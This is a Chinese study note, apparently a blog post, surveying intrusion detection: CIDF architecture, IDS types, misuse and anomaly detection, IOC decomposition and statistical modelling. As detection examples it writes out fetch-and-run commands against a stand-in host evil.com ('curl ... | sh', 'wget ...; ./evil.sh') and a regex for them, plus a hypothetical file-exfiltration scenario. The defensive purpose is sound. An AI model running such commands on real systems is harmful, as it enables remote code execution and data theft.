入侵检测技术框架总论【课题笔记】

2019/04/10 10:10
阅读数 50

1. 引言,网络安全态势理解

对态势的理解是人们组合、分析、解读和保留信息的过程。在态势提取的基础上,我们可以采取一些列方法和技术来对安全态势进行进一步的理解和处理,这其中包括安全检测和分析、态势指标构建和态势评估等。

本文我们将重点对网络安全检测和分析的相关技术进行讨论。

0x1:网络安全检测的描述

网络安全检测是指通过对采集来的数据进行检查,并根据观察到的异常事件和数据产生告警的过程,这个过程也称为网络安全检测机制。

这种检测可以通过以下几种技术来完成:

  • 入侵检测的技术:这是最常用的一种技术
  • 入侵相应技术
  • 入侵取证技术

当已经采集到的安全数据通过预处理和验证并在其中发现异常时,就会进入这个过程。一旦网络安全检测机制生成告警数据,且这些数据可供给安全人员进行分析,这一过程将宣告结束,就能够进入网络安全分析环节中。

0x2:安全分析

安全分析并非机械化过程并非机械化过程,不能单纯靠软件自动完成,它对人的能力要求较高,需要安全分析人员的高度参与,且没有统一的、固定的标准,主观性较强。

 

2. 入侵检测

所谓入侵检测,是指对入侵行为的发觉,它通过从计算机网络或系统中的若干关键点收集信息,并对这些信息进行分析,从而发现网络或系统中是否有违反安全策略的行为和遭到攻击的迹象

具体实施入侵检测的软件与硬件的结合就是入侵检测系统(IDS),它通过收集计算机系统和网络的信息并对这些信息加以分析,对被保护系统进行安全审计、监控、攻击识别以及做出实时的反应。

入侵检测和安全异常定义关系十分密切,关于安全异常的定义,可以参阅这篇文章

0x1:入侵检测通用模型

入侵检测是通过检测计算机网络和系统,以发现违反安全策略的事件的过程。但并非所有的网络安全数据都会被分析或者值得分析,对于需要进行分析的数据,我们统称为事件。入侵检测就是针对事件进行分析处理的。

一个典型的入侵检测系统至少应包括3个功能模块:

  • 提供事件记录流的信息源
  • 发现入侵迹象的分析引擎
  • 基于分析引擎的相应部件

DARPA提出的CIDF(公共入侵检测框架)阐述了入侵检测的通用模型,如下图,

CIDF是一套规范,它定义了IDS表达检测信息的标准语言以及IDS组件之间的通信协议。符合CIDF规范的IDS可以共享检测信息,相互通信,协同工作,还可以与其他系统配合实施统一的配置响应和恢复策略。

CIDF的主要作用在于集成各种IDS使之协同工作,实现各IDS之间的组件重用,所以CIDF也是构建分布式IDS的基础。

CIDF的规格文档由四部分组成,分别为:

  • 体系结构(the common intrusion detection framework architecture):体系结构阐述了一个标准的IDS的通用模型
  • 规范语言(a common intrusion specification language):规范语言定义了一个用来描述各种检测信息的标准语言
  • 内部通讯(communication in the common intrusion detection framework):内部通讯定义了IDS组件之间进行通信的标准协议
  • 程序接口(common intrusion detection framework APIs):程序接口提供了一套标准的应用程序接口(API函数) 

1. CIDF体系结构 

CIDF的体系结构文档阐述了一个IDS的通用模型,它将一个IDS分为以下四个组件:

  • 事件产生器(event generators)
  • 事件分析器(event analyers)
  • 事件数据库(event databases)
  • 响应单元(response units)

1)事件产生器(event generators)

CIDF将IDS需要分析的数据统称为事件(event),它可以是基于网络的IDS从网络中提取的数据包,也可以是基于主机的IDS从系统日志等其他途径得到的数据信息。

CIDF组件之间是以通用入侵检测对象(generalized intrusion detection objects,GIDO)的形式交换数据的,一个GIDO可以表示在一些特定时刻发生的一些特定事件,也可以表示从一系列事件中得出的一些结论,还可以表示执行某个行动的指令。

CIDF中的事件产生器负责从整个计算环境中获取事件,但它并不处理这些事件,而是将事件转化为GIDO标准格式提交给其他组件使用,显然事件产生器是所有IDS所需要的,同时也是可以重用的。

2)事件分析器(event analyers)

CIDF中的事件分析器接收GIDO,并分析他们,然后以一个新的GIDO形式返回分析结果。

3)事件数据库(event databases) 

CIDF中的事件数据库负责CIDO的存储,它可以是复杂的数据库,也可以是简单的文本文件。

4)响应单元(response units)

CIDF中的响应单元根据CIDO做出反应,它可以是终止进程、切断连接、改变文件属性,也可以只是简单的报警。

2. CIDF规范语言 

CIDF的规范语言文档定义了一个公共入侵标准语言(Common intrusion specification language,CISL),各IDS使用统一的CISL来表示原始事件信息、分析结果和响应指令,从而建立了IDS之前信息共享的基础。CISL是CIDF的最核心也是最重要的内容。

3. CIDF内部通讯 

CIDF将各组件之间的通信划分为三个层次结构:

  • GIDO层(GIDO layer):GIDO层负责对传输信息的格式化(例如标准json结构体),正是因为有了GIDO这种统一的信息表达格式,才使得各个IDS之间的互操作成为可能
  • 消息层(Message layer):消息层负责对传输的信息进行加密认证,然后将其可靠地从源传输到目的地。消息层不关心传输的内容,它只负责建立一个可靠的传输通道
  • 传输层(Negotiated Transport layer):不属于CIDF规范,可以采用很多现有的传输机制来实现

4. CIDF程序接口 

CIDF也对各组件之间的信息传递格式、通信方法和标准API进行了标准化。在现有的IDS中,经常用数据采集部分、分析部分、响应部分和日志来分别代替事件产生器、事件分析器、响应单元和事件数据库这些术语。 

Relevant Link:

https://wenku.baidu.com/view/6bfdfa4385254b35eefdc8d376eeaeaad0f316d4.html
http://xueshu.baidu.com/usercenter/paper/show?paperid=21e5eb92dcce8622f82fca4cf0ab4123&site=xueshu_se
http://www.doc88.com/p-9415295880161.html
https://www.docin.com/p-960726121-f2.html

 

3. 入侵检测系统分类

0x1:根据检测所用数据源进行分类

根据检测所用数据的来源不同,可将入侵检测系统分为以下三类:

  • 基于主机的入侵检测系统(HIDS)
  • 基于网络的入侵检测系统(NIDS)
  • 基于混合数据源的入侵检测系统(HIDS+NIDS)

1. 基于主机的入侵检测系统(HIDS)

此种类型的数据来源主要是:

  • 被监测系统的操作系统事件日志
  • 应用程序的事件日志
  • 系统调用日志(syscall)
  • 端口调用
  • 安全审计日志(eventlog)

主机入侵检测主要面向不通过网络的本地攻击。

2. 基于网络的入侵检测系统(NIDS)

此种类型的数据源是网络上的原始数据包,利用一个运行在混杂模式下的网络适配器类实时监视并分析通过网络进行传输的所有通信业务。

该类型不依赖于被监测同的主机操作系统,能检测到基于主机的入侵检测系统发现不了的网络攻击行为,提供实时的网络行为检测,且具有较好的隐蔽性。但缺点是无法实现对加密信道和基于加密信道的应用层协议数据的解密,导致对某些网络攻击的检测率较低。

3. 基于混合数据源的入侵检测系统(HIDS+NIDS)

0x2:根据检测分析方法进行分类

1. 误用检测系统(基于知识的检测)

它通过收集非正常操作的行为特征,建立相关的特征库,当监测的用户或系统行为与库中的记录相匹配时,即认为这种行为是入侵。

它根据已知入侵攻击的信息(知识、模式等)来检测系统中的入侵和攻击,其前提是假定所有入侵行为和手段都能识别并表示成一种模式(攻击签名),那么所有已知的入侵都可以用匹配的方法发现。

误用检测的优点是误报率低,对计算能力要求不高,局限在于只能发现已知攻击,对未知攻击无能为力,且模式库难以统一定义,特征库也必须不断更新。 

2. 异常检测系统(基于行为的检测)

异常检测首先总结正常操作应该具有的特征(用户轮廓),当用户活动与正常行为有重大偏差时即被认为是入侵。

由于入侵活动并不总是与异常活动相符合,因此其通常做法是构造异常活动集并从中发现入侵性活动子集。

从技术实现性上来讲,异常检测有3个关键:

  • 特征:异常检测首先要建立用户的”正常“行为特征轮廓,这个正常模型选取的特征量
    • 既要能够准确体现用户行为特征
    • 又要能够使模型最优化
    • 以最少的特征覆盖用户行为
  • 阈值:异常检测一般先建立正常的特征轮廓并以此作为比较基准,这个基准即为阈值
    • 阈值选得过大,漏报率高
    • 阈值选得过小,误报率就高
  • 比较频率的选择:比较频率是指经过多长时间比较当前行为和已建立的正常行为特征轮廓来判断入侵的发生与否,即所谓的时间窗口
    • 经过的时间过长,检测的漏报率会高
    • 经过的时间过短,检测的误报率会高
    • 正常行为特征轮廓会不断更新,这也会影响比较频率

3. 误用和异常检测混合的入侵检测系统

0x3:根据入侵检测方式进行分类

根据入侵检测工作方式不同,可将入侵检测系统分为以下两类:

  • 实时检测系统:在线式检测系统,是指对网络数据包、主机审计数据等进行实时监测并分析,可以快速反应。
  • 非实时检测系统:也称为离线式检测系统,是指通过事后分析审计事件和文件等,从中检测出入侵攻击。

 

4. 入侵检测的分析方法

入侵检测分析方法主要包括误用检测、异常检测,和协议分析方法。我们下面分别讨论:

0x1:误用检测

误用检测是较早出现的入侵检测分析方法,属于第二代入侵检测技术,它是基于知识(模式)的检测方法,根据已知的入侵模式来检测入侵。

主要包括以下几种类型:

  • 模式匹配方法 
  • 专家系统方法 
  • 状态转换方法 

1. 模式匹配方法 

这是最基本、最简单的误用检测方法,它将已知的入侵特征转换为模式,存放在模式数据库中,在检测过程中将捕获的事件与模式数据库中的入侵模式进行匹配,若匹配成功则认为有入侵行为发生。

入侵者通常会利用系统或网络中的弱点来实施攻击,而这些弱点可以被编成某种模式,形成一个模式库,如果入侵者的攻击方式正好能匹配上入侵检测系统中的模式库,那么就可以认为入侵行为发生。

误用检测非常依赖于模式库,这个模式库是对误用行为的一个解释集,包含了大量对入侵指示器已知的具体行为的描述信息。

然而,对于模式的定义和描述并不固定,准确度也并不是能百分百保证,这就造成了该类检测方法的误报率和漏报率两头都存在难以平衡的问题。例如下面的例子:

某恶意下载的攻击载荷如下,

curl http://evil.com -o evil.sh | sh

通过正则表达式对这种误用行为模式进行概括描述为,

curl\s+http:.*(\s+-\w+){0,}\s+-o\s+.*\.(sh|pl)\s*\|sh

但是这里存在着漏报和误报的问题,例如某正常用户管理员可能会执行下列指令,用于自动化的批量运维部署,

curl http://good.com -o good.sh

这里面的本质问题在于:

对误用行为的模式抽象存在维度模糊性,通过正则表达式对文本的概括抽象所代表的维度上,无法有效对”误用“和”合法“的行为模式进行区分,所以就无法进行有效的误用检测

解决这个困局的一个思路是”升维“或者”维度切换“,在一个维度无法区分的向量,换到另一个维度也许就很容易定义和区分。例如从命令行判断维度转换为url对应的样本内容检测上

同时,误用检测基于已知攻击的假设使得其只能检测到已知入侵,而对于未知入侵则无能为力。

2. 专家系统方法

基于专家系统的入侵检测方法是通过将安全专家的知识表示成IF-THEN规则,形成专家知识库,然后,运用推理算法进行检测入侵。

编码规则说明攻击的必要条件作为IF的组成部分,当规则的左边的全部条件都满足时,规则的右边的动作才会执行。 

入侵检测的开发者并不需要理解专家系统的内部功能和过程,但需要编写决定规则引擎和规则的代码,规则集的每条入侵检测规则都对应某个入侵脚本场景。

从本质上说,专家系统方法是模式匹配方法的升级,在很多工业实践场景中,专家系统的IF-THEN规则,就是由模式匹配规则组成,也即所谓的”与或非组合模式匹配规则“,通过组合多个模式匹配规则,来获得单个模式匹配规则所无法取得的效果。

3. 状态转换方法 

状态转换方法使用系统状态和状态转换表达式描述和检测已知的入侵。

状态状态分析由R.Kemmerer提出,即将状态转换图应用于入侵行为的分析。状态转换法将入侵过程看作是一个行为序列,这个行为序列使得系统由初始状态转入被入侵状态。

分析时首先针对每一种入侵方法确定系统的初始状态和被入侵状态,以及导致状态转换的条件,即导致系统进入被入侵状态必须执行的操作(特征事件)。然后用状态转换图来表示每一个状态和特征事件,这些事件被集成于模型中,所以检测时不需要一个个地审计记录。

但是,状态转换时针对事件序列分析,所以不善于分析复杂的事件,而且不能检测与系统状态无关的入侵。

在实际的工程实践中,我们会借助马尔科夫概率转移矩阵来对入侵事件进行二步图建模,并通过二步图的概率累乘计算得到某个会话的异常程度计量。

但是这里会有两个比较大的问题,

  • 如果用于训练二步概率转移矩阵的数据集只有正常行为,而不包含任何恶意行为,即”以白滤黑“。那么如果异常行为出现,会在概率转移矩阵中无法找到对应元素,那么为了平滑化,会置一个很小的概率值,这样从结果上看,就近乎等同于”基于历史基线的非白即黑“的异常发现,虚警率会很高
  • 如果用于训练的数据集只包含恶意行为,而不包含任何正常行为,即”以黑找黑“,那么又会陷入和模式匹配类似的困境,就是对未知的新攻击方式检测率较低

4. 模型推理方法

对于入侵检测来说,我们常常可以用UEBA的方法论来对原子事件进行建模分析,但是UEBA最大的问题在于,单纯从行为的角度发现的异常,并不一定就代表着实际的入侵

为了解决这个问题,我们可以用模型推理这个新的视角来看待异常行为问题。将攻击者行为的知识描述为【攻击者目的:攻击者达到此目的的可能行为步骤:攻击后获得的结果】,例如:

  • 【下载恶意脚本:wget http://evil.com/evil.sh; chmod 744 evil.sh; ./evil.sh:发现脚本文件落盘;检测到该文件为恶意文件】

模型推理方法的好处在于,扩大了入侵检测的维度范围,原本从单纯行为层面不好检测的事件,通过攻击者目的或者攻击后获得的结果,可以辅助检测,同时检测结果也反过来对攻击步骤进行标记。

5. 基于信誉的检测

基于信誉的检测是基于特征检测的一个子集,用于检测我方受保护主机是否连接了曾参与过恶意行动的恶意互联网主机。这从本质上决定了基于信誉的检测只能依靠一系列的简单规则,通常是:

  • IP地址
  • DNS域名
  • HTTP URL访问

基于信誉的检测在网络安全中是一种非常重要的检测手段,常常被称为基于威胁情报的检测(内生、外生),我们接下来详细讨论一下。

1)受害信标和特征

IOC是可用于客观描述网络入侵事件,以与平台无关方法表示的任意信息片断。

  • 既包括命令控制(command and control,C2)服务器的IP地址那样的简单信标
  • 也包括表明某个邮件服务器被用于恶意SMTP转发的一套复杂信标

IOC可以有不同的形式和大小,还能通过多种途径表示为不同检测机制所接受的格式。一旦IOC被获得并以平台指定语言或格式应用,比如Snort规则或Bro格式文件,它就成为特征的一部分。一个特征可以包括一个或多个IOC

1.1)主机信标和网络信标

根据最常见的分类方式,信标会被分为基于主机和基于网络两类。

基于主机的IOC是一种可以客观描述入侵事件的信息片断,可在主机发现,一些通用的基于主机的信标包括:

  • 注册表键值
  • 文件名
  • 文本字符串
  • 进程名
  • 互斥量
  • 文件哈希
  • 用户账号
  • 目录路径

基于网络的IOC也是一种可以客观描述入侵事件的信息片断,可在主机间被捕获,一些通用的基于网络的信标包括:

  • IPv4地址
  • IPv6地址
  • X509证书哈希
  • 域名
  • 文本字符串
  • 通信协议
  • 文件名
  • URL
1.2)静态信标和可变信标

对于静态信标(static indicator)而言,每个变量都有明确的定义。静态信标有三个变种:

  • 原子信标:一般是指比较小且更为具体的信标,它们无法被分解为更小的部分,但在入侵背景的描述方面具有一定意义。这类信标包括
    • IP地址
    • 文本字符串
    • 主机名
    • 电子邮件地址
    • 文件名
  • 计算信标:计算信标由特定事件数据的计算结果产生。这类信标包括
    • 哈希值
    • 正则表达式
    • 统计结果,例如
      • 单位时间内对外发起SSH尝试次数判定为正在发起暴力破解
      • 单位时间内某个特定url pattern遭到大量连续访问判定为遭受了cc攻击
  • 行为信标:行为信标由原子信标和计算信标按某些逻辑形式组合而来,通常能够提供一些有用的内容。这种信标可以是一套包括文件名、匹配哈希值或文本字符串和正则表达式的组合数据

它们的逻辑依属关系如下图:

以一个假设的入侵场景为例,通过分析网络和主机获取的数据,判定发生了下列事件序列,

  1. 某个用户层收到一封来自 evil@qq.com 的电子邮件,邮件主题写着”人员工资表“,附件是 Payroll.pdf,该 PDF 文件的MD5哈希为36eba1e1e343279857ea7f69a597324e
  2. 该用户打开这个pdf文件,触发了名为”kernel32.dll“文件的下载行为,这个下载后的文件MD5哈希为93d9127b377d7781e92f64d2d28b99ad,下载链接为 http://www.evil.com/kernel32.dll
  3. 下载后的文件会覆盖 C:\Windows\System32\kernel32.dll 文件
  4. 这个 DLL 中的代码被执行后,会通过9966端口与IP地址为192.0.2.75的主机的SSH服务建立连接
  5. 一旦连接建立,这个恶意程序将在受害者机器上搜索全部DOC、DOCX及PDF文件,并将找到的文件通过SSH连接传送到敌方主机(192.0.2.75)

上述事件代表了一条冗长的行为信标,它过于复杂。

为了有效地协调基于特征、基于异常和基于统计的检测机制,首先需要把信标拆解为更有用的片断,以确保它们适用于检测后继内容。结果就是会产生下列行为(behavioral,B)信标:

  • B-1:某个用户收到来自 evil@qq.com 的电子邮件,主题为”人员工资表“,附件名为 Payroll.pdf。该 PDF 文件的 MD5哈希值为 36eba1e1e343279857ea7f69a597324e
  • B-2:MD5哈希值为 93d9127b377d7781e92f64d2d28b99ad 的 kernel32.dll 文件下载自 http://www.evil.com/Kernel32.dll
  • B-3:C:\Windows\System32\Kernel32.dll 文件被同名恶意文件覆盖,恶意文件的 MD5哈希值为 93d9127b377d7781e92f64d2d28b99ad
  • B-4:受害主机尝试与敌方主机 192.0.2.75 建立SSH连接,端口为 9966
  • B-5:通过 9966 端口以加密连接发送 DOC、DOCX、PDF 文件到 192.0.2.75 主机

接下来,将这些行为信标拆解为独立的原子(atomic,A)信标和计算(computed,C)信标,结果如下:

  • C-1:MD5哈希值为 36eba1e1e343279857ea7f69a597324e
  • C-2:MD5哈希值为 93d9127b377d7781e92f64d2d28b99ad
  • A-1:敌方域名为 www.evil.com
  • A-2:电子邮件为 evil@qq.com
  • A-3:邮件主题为”人员工资表“
  • A-4:文件名为 Payroll.pdf
  • A-5:文件名为 kernel32.dll
  • A-6:地方IP为 192.0.2.75
  • A-7:端口为 9966
  • A-8:协议为 SSH
  • A-9:文件类型为 DOC、DOCX、PDF
  • A-10:文件名为 Kernel32.dll

上面一共提供了5个行为信标,1个计算信标,10个原子信标,可以将其合并到检测机制中。这样就将信标转换为适用于检测机制的特征,如下:

  • C-1/2:用于检测已知哈希值的反病毒特征
  • A-1:用于检测任意与地方域名建立连接的 Snort 或 Suricata 特征
  • A-2:用于检测从敌方邮件地址接收邮件的 Snort 或 Suricata 特征
  • A-3:用于检测邮件主题的 Snort 或 Suricata 特征
  • A-3:用于检测邮件主题的 Bro 脚本
  • A-4/C1:用于检测经网络传输的文件名或MD5哈希值的Bro脚本
  • A-5/C2:用于检测邮件主题的Bro脚本
  • A-5/C2:用于检测网络中传输文件名为 Kernel32.dll 或文件名为特定MD5哈希值的Bro脚本
  • A-6:用于检测与指定IP地址通信的 Snort 或 Suricata 特征
  • A-7/A-8:用于检测指向 9966 端口的 SSH 通信的 Snort 或 Suricata特征
  • A-10:用于检测 Kernel32.dll 文件被篡改的 HIDS 规则

可以看到,检测由单个事件产生的变化无常的信标,可以有很多不同的方法。

根据受保护系统的不同架构,需要具备多套监测机制,以应用单独信标形成的特征。最终确定哪种方法最适合特定IOC的检测,取决于网络基础设施、检测机制的差异、以及IOC相关情报的差异。

对于可变信标(dynami indicator)而言,为的是更好地发现未知安全威胁,有时需要考虑使用可变信标。

这类信标通常产生于一个攻击行为可以导致的序列事件,并用于判断变量是否存在。从本质上看,它可以发现理论上的攻击行为,而不只是已经发生过的攻击。根源在于其分析对象是攻击所采用的特定技术手段,而不是某个孤立的对手所实施的攻击个案。

还是上面同样的例子,我们来看一下可变信标的表现。这次是基于理论攻击场景,而不是基于已经真实发生过的攻击场景。

  1. 用户收到一封带有恶意附件的电子邮件
  2. 用户打开邮件,触发异常从恶意域名的文件下载行为
  3. 该文件被用于改写系统文件,将其替换为恶意文件
  4. 恶意文件中的代码会被执行,与恶意服务器建立加密连接
  5. 一旦连接建立,大量数据由该系统向外泄露

上述步骤表现为多个行为信标,行为信标又进一步包含变换的原子信标和计算信标。齐总部分信标列举如下:

  • VB-1:用户收到一封带有恶意附件的电子邮件
    • VA-1:邮件地址
    • VA-2:邮件主题
    • VA-3:恶意电子邮件源域
    • VA-4:恶意电子邮件源IP地址
    • VA-5:恶意附件文件名
    • VC-1:恶意附件MD5哈希
  • VB-2:用户打开邮件,触发一次从恶意域的文件下载行为
  • VB-3:该文件被用于改写系统文件,将其替换为恶意文件
  • VB-4:恶意文件中的代码会被执行,以非标准端口与恶意服务器建立加密连接
    • VA-8:外部命令控制(C2)服务器IP地址
    • VA-9:外部命令控制(C2)服务器端口
    • VA-10:外部命令控制(C2)服务器协议
  • VB-5:一旦连接建立,大量数据由该系统向外泄露

如上列出有10个潜在的原子信标、2个变化的计算信标、5个变化的行为信标。

现在,我们可以将这些信标新城特征,使它们适用于相应的检测机制。可变信标通常可被反复应用或组合使用,以适用于检测更多的攻击场景:

  • VB-1(VA-3/VA-4)VB-2(VA-6)VB-4(VA-8)VB-5(VA-8):用于检测连接黑名单中已知 IP 地址或域名的 Snort 或 Suricata 规则
  • VB-1(VA-5/VC-1)VB-2(VA-7/VC-2):用于实现下载文件并检查其文件名或 MD5哈希是否位于黑名单的 Bro 脚本
  • VB-1(VA-5/VC-1)VB-2(VA-7/VC-2):用于实现下载文件并送入沙箱进行初步分析的 Bro 脚本 
  • VB-2(VA-6/VA-7/VC-2):用于检测文档中是否有启动浏览器行为的HIDS特征
  • VB-3:用于检测是否有系统文件被覆盖的HIDS特征
  • VB-4(VA-9/VA-10)VB-5:用于检测通过非标准端口加密通信的 Bro 脚本
  • VB-4(VA-9/VA-10)VB-5:用于检测通过非标准端口加密通信的 Snort 或 Suricata 规则
  • VB-5:专门编写的脚本,实现统计会话数据,发现工作站对外的大量流量

更一般地说,可变信标中的攻击行为序列,本质上是对原始行为的一种元规则抽象描述。同一个可变信标下,可以对应于无限的行为信标,然后行为信标又进一步分解为原子信标和计算信标。

可变信标部分可用于各项检测,尤其适用于对未知攻击的检测。 

2)信誉度的判定 - 信标如何产生?

根据定义,信誉度是对某人或某物具有特殊习惯或特点的普遍性意见。应用到网络防御场景中,主机的信誉度可能是正值,也可能是负值,或者为0.

组织判定一台主机信誉度为负值的原因有很多,一般来说有如下方法:

  • 某个可以公开访问的系统可能遭到入侵或被用于托管恶意文件,导致其信誉度为负值,即所谓的恶意下载源
  • 在某些企业间谍活动猖獗的行业,因窃取知识产权的威胁,竞争对手相关的IP范围可能信誉度为负值
  • 在政府和国防网络领域,那么已知属于不友好国外政府的主机通常信誉值为符合
  • 曾经遭到到入侵的主机的信誉值在一定时间内为负值
  • 某些黑产机房
  • 对于某些IDC环境中,来自非本国的IP访问,常常被认为是信誉度较低的行为

0x2:异常检测

异常检测(anormaly detection)是指根据非正常行为(系统或用户)和资源非正常使用情况检测出入侵行为。异常检测是一种基于行为的检测方法,它的通用性较强,可以检测出未知的攻击模式。

异常检测的关键问题在于正常使用轮廓(profile)的建立以及如何利用该轮廓对当前的系统/用户行为进行比较,从而判断出于正常轮廓的偏离程度。但这里存在几点主要挑战:

  • 用于建立使用轮廓的特征选择是一个非常有挑战的事情,也即所谓的特征工程抽象难题。主要的难点在于下面几个方面:
    • 选哪些特征可以表征入侵,这涉及到一个互信息问题,因为不是每个特征统计量都和入侵有直接关系,例如单位时间进程启动数就和入侵没有强相关,而很可能只是管理员在编译源代码
    • 特征的数量维度,单维度的特征可能很难完整表征入侵,但是多维特征的统计建模对计算复杂度的影响又是非常剧烈的
  • 正常用户的行为可能是经常改变的,这导致正常用户行为轮廓的概率分布并不固定,这就会导致误报率的波动
  • 正常用户的行为轮廓概率分布并不收敛集中,而是分布在一个相对十分广泛的区间内,有时甚至会和某些异常行为的概率分布存在部分交叠,这就同时导致了误报和漏报的问题
  • 在用户数目众多,或工作目的经常改变的环境中,会遇到所谓的大数据问题。在这种复杂业务场景环境下,系统/用户的正常描述应该是不断修正和更新的,甚至检测器所使用的特征度量也需要不断调整,但往往异常检测模型的特征向量组在建模期间就已经固定下来了

异常检测是目前学界和工业界的重点研究方向,目前存在多种异常入侵检测方法,如:

  • 贝叶斯统计
  • 机器学习
  • 神经网络

1. 基于统计的异常检测方法

统计方法首先给信息对象,如

  • 系统用户
  • 网络连接
  • 落盘文件
  • 进程启动
  • 目录
  • 设备
  • ..等

针对这些信息对象,创建一个统计描述,统计正常使用时的一些测量属性,如

  • 单位时间内外连访问次数
  • 操作失败次数(例如添加账号、系统账号登录)
  • 单位时间内新进程启动的种类数和次数

测量属性的平均值将被用来与网络、系统的行为进行比较,任何观察值在正常偏差之外时,就认为有入侵发生。其优点是可检测到未知的入侵和更为复杂的入侵,缺点是误报、漏报率高,且不适应用户正常行为的突然改变。

进入更具体一些的实际操作层面,基于统计的异常检测方法主要包括以下关键技术:

  • 选取合适的统计量:在入侵检测系统中,采用统计量描述系统和用户的行为,统计量也包括系统、主机、用户的信息,而且每种统计量的表达方式也不尽相同。选择能够明确表达入侵的统计量是十分重要的。
  • 基于统计的入侵检测系统应该具有自学习和自适应能力:得到了系统信息元素的统计量之后,接下来的步骤就是确定当前系统运行轮廓,根据统计窗口的不同,可以分为两种思路
    • 单统计量窗口:不做任何统计量的聚合,将每一个统计量向量当成一个信息元素,在后续的异常判断阶段通过一个确定的阈值来判别异常
    • 多统计量窗口(即生成统计量之上的统计量):设定一个滑动的窗口,对统计量再进行一次聚合,例如
      • 正态分布建模
      • 按照STL时序信号分解为周期和趋势信号
      • 或者只是简单的计算均值
  • 统计数据的分析和入侵的判断:在选取合适的统计量之后,就要每隔一段时间对系统数据进行采样,同时分析该统计量的概率分布特性。将多个统计量联合分析,最终得出当前系统的评价值,当该评价值超过预设的阈值,就表明存在入侵行为。阈值的设定是非常重要的
    • 阈值可以是根据历史信息、窗口统计信息动态自动生成的
    • 专家经验设定的阈值

关于统计异常建模的应用方面讨论,还可以参阅这篇文章

笔者这里以入侵检测为例,粗粒度地讨论一下如何通过统计异常来进行异常入侵检测

1)统计量选择

统计量的选择要遵循【最大信息增益】与【统计相关性】原理,根据对目标预测效能的统计相关性进行排序,优先选择排在靠前的特征。

对于非结构化的信息对象,可以根据信息对象本身的属性以及专家领域经验,总结出一系列统计量,也即特征,

  • 单位时间窗口内进程启动次数
  • 单位时间窗口内进程启动类型数(进程名去重)
  • 单位时间窗口内进程启动的最大时间间隔(max-min)
  • 单位时间窗口内进程启动对应的会话sid数量(会话数)
  • 单位时间窗口内进程启动对应的父进程ppid数量(父进程数)
  • 单位时间窗口内进程启动对应的当前目录数量(cwd数)
  • 单位时间窗口内CPU的均值和方差
  • 单位时间窗口内进程发起的网络外连数量(连接数)
  • 单位时间窗口内进程发起的网络外连IP数量(目的IP数)
  • 单位时间窗口内进程发起的网络外连Port数量(目的端口数)
  • 单位时间窗口内进程写文件数量(File Write次数)
  • 单位时间窗口内进程写文件文件名数量(FIlename去重数量)
  • 单位时间窗口内进程写文件行为的最大时间间隔(max-min)

2)统计量分析和入侵判断

笔者抽取了以进程为轴心的相关行为日志,进程、网络、进程写文件、cpu,根据10分钟为一个归并窗口得到相关的统计量。

并根据已知的历史告警库对样本向量表进行了打标,然后通过GBDT进行了有监督训练,基于训练得到的模型对新数据进行了预测,

 

GBDT预测结果AUC曲线

特征重要性排序

通过一些列实验,笔者得出下列初步结论:

  • 从统计意义上看,概率型的统计量指标和入侵之间有一定的相关性,但并不是十分明显,从相关性和信息论的角度来说,进程行为相关的统计量,对表征系统是否遭到入侵的结果,并不能提供非常多的有效互信息。因此基于概率论基础的方法,很难直接进行精确地入侵检测
  • 由概率统计衍生出的其他方法,例如马尔科夫方法,因为和统计量本身具有底层的相关性传递关系,因此从信息论的角度来看,也可以得到初步推论,仅仅依靠马尔科夫方法是无法直接进行入侵检测判断的
  • 基于概率论的统计型异常检测,非常依赖样本库中的概率分布,笔者所用的样本集以批量蠕虫、脚本自动化入侵、挖矿木马频繁启动为主要异常类型。因此像“启动进程名数量、“cpu波动”这类的指标,就会在模型中占据比较靠前的位置。但是对“unknown unknown”的情况,统计模型能否提供泛化能力,依然是个未知数

笔者思考

对于网络安全这个特殊的领域来说,目前来说置信度最高的检测方法论还是【检测黑客达成了哪些攻击目的】,具体来说就是:

  • 通过关联http-request和http-response的成对逻辑关系以及特定文本特征,判定http攻击成功的事实推断
  • 检测到某个落盘文件,同时通过av判定该文件是一个病毒木马,则反过来推定该落盘行为是一次攻击成功事件
  • 检测到某个进程启动,通过分析其命令行中包含的url或者文件,如果判定其是一个病毒木马,则反过来推断该进程启动是一次恶意行为
  • ...

以上的种种方法,从本质上看,都是【检测黑客达成了哪些攻击目的】,是在检测被攻击的客体所遭到的攻击的结果。现在业内也已经有很多这方面的良好实践和应用。

但是反过来,是否可以转换思路,从攻击者主体的角度主动发现攻击者,通过图论算法将攻击者所在的社区或者单个攻击者离群点给“圈定”出来。如果能有效发现攻击者,就拥有了主动情报,基于主动情报,发现客体的被入侵行为就非常简单了

3)统计轮廓自适应能力

2. 基于有监督学习的异常检测方法

有监督学习方法采用非参量化的分析技术,使用自学习技术来提取异常行为的特征,需要对训练数据集进行学习以得出正常的行为模式,并且要求保证训练数据的纯洁性,即不包含任何入侵或异常的用户行为。

神经网络是一种典型的有监督学习,它由大量的处理单元(unit)组成,单元之间通过带有权值的连接(connection)进行交互。神经网络所包含的知识体现在网络的结构当中,学习过程就表现为权值的改变和连接的添加或删除。

3. 基于数据挖掘的入侵检测方法

数据挖掘是指从数据库或数据仓库的数据中提取人们感兴趣的知识或规则,这些知识和规则是隐含的、事先未知的、对决策有潜在价值的。提取的知识通常用如下几种形式表示:

  • 概念
  • 规则
  • 模式
  • ......

在入侵检测系统中,数据挖掘通常是指从大量的数据中提取出模型的过程,采取以数据未中心的观点,把入侵检测看成一个数据分析的过程。

  • 在异常检测过程中,数据挖掘主要从审计数据中发现正常的使用模式
  • 在误用检测过程中,数据数据主要实现审计数据编码并与攻击模式匹配的过程

关于关联规则挖掘在网络安全里的应用讨论,可以参阅另一篇文章

4. 异常检测的基本前提假设

异常检测的基本前提假设是用户的正常行为表现为可预测的、一致的、有规律的系统使用模式,它通过描述正常行为的模式来检查和标记非正常(异常)行为

但是,并非所有的异常行为都是入侵行为,入侵行为只是异常行为的一个子集,而这也是异常检测容易引起误报的原因

异常检测的基础是异常行为模式系统的误用。

安全数据分析师将轮廓定义成度量集(特征集合),度量衡量用户特定方面的行为,每一个度量与一个阈值(固定或者动态)相联系,异常阈值设置的不恰当会造成IDS出现较高的误报率和漏检率。

关于异常检测中的阈值设定,常见的有如下方法论:

  • 量化分析:其检测规则和属性以数值形式表示。该技术经常假定一些计算,包括从简单的加法到比较复杂的密码学计算,这些技术的结果成为误用检测和异常检测统计方法的基础。常见的方法如:
    • 阈值检测:用户和系统行为根据某种属性计数进行描述
    • 启发式阈值检测:在阈值检测基础上进一步使它适合于观察层次
    • 基于目标的集成检查:对在一个系统客体中一次变化的检查,该系统客体通常不应发生不可预测的变化
    • 量化分析和数据精简:从海量事件信息中删除过剩或冗余信息的处理
